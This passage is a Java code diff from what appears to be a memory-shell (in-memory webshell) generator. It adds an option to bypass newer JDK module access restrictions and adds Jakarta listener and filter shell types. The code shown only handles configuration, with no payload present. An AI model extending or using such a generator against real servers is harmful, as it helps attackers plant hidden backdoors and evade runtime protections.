List<String> enumenableBypass = new ArrayList();
enumenableBypass.add(String.valueOf(false));
enumenableBypass.add(String.valueOf(true));
enable_bypass_jdk_module.setEnumValue(enumenableBypass);
enable_bypass_jdk_module.setDefaultValue(String.valueOf(false));
enable_bypass_jdk_module.setRequired(false);
enable_bypass_jdk_module.setDescription("绕过高版本 JDK Module 访问限制");
list.add(enable_bypass_jdk_module);
binder.setArgsList(list);
return binder;
}
@@ -149,6 +163,7 @@ public class ProxyHelper implements IHelper {
config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType()));
if (config.getShellSimpleClassName() == null)
config.setShellSimpleClassName(CommonUtil.getSimpleName(config.getShellClassName()));
if (customArgs.get("bypass_jdk_module") != null) config.setEnableBypassJDKModule(Boolean.parseBoolean((String) customArgs.get("bypass_jdk_module")));
config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
@@ -49,6 +49,8 @@ public class ShellHelper implements IHelper {
enumShellType.add(Constants.SHELL_LISTENER);
enumShellType.add(Constants.SHELL_FILTER);
enumShellType.add(Constants.SHELL_INTERCEPTOR);
enumShellType.add(Constants.SHELL_JAKARTA_LISTENER);
enumShellType.add(Constants.SHELL_JAKARTA_FILTER);
shell_type.setEnumValue(enumShellType);
shell_type.setDefaultValue("Listener");
@@ -134,6 +136,18 @@ public class ShellHelper implements IHelper {
output_path.setDescription("自定义输出路径");
list.add(output_path);
IArg enable_bypass_jdk_module = ShellHelperPlugin.pluginHelper.createArg();
enable_bypass_jdk_module.setName("bypass_jdk_module");
enable_bypass_jdk_module.setType(7);
List<String> enumenableBypass = new ArrayList();
enumenableBypass.add(String.valueOf(false));
enumenableBypass.add(String.valueOf(true));
enable_bypass_jdk_module.setEnumValue(enumenableBypass);
enable_bypass_jdk_module.setDefaultValue(String.valueOf(false));
enable_bypass_jdk_module.setRequired(false);
enable_bypass_jdk_module.setDescription("绕过高版本 JDK Module 访问限制");
list.add(enable_bypass_jdk_module);
binder.setArgsList(list);
return binder;
}
@@ -179,6 +193,7 @@ public class ShellHelper implements IHelper {
config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType()));
if (config.getShellSimpleClassName() == null)
config.setShellSimpleClassName(CommonUtil.getSimpleName(config.getShellClassName()));
if (customArgs.get("bypass_jdk_module") != null) config.setEnableBypassJDKModule(Boolean.parseBoolean((String) customArgs.get("bypass_jdk_module")));
config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));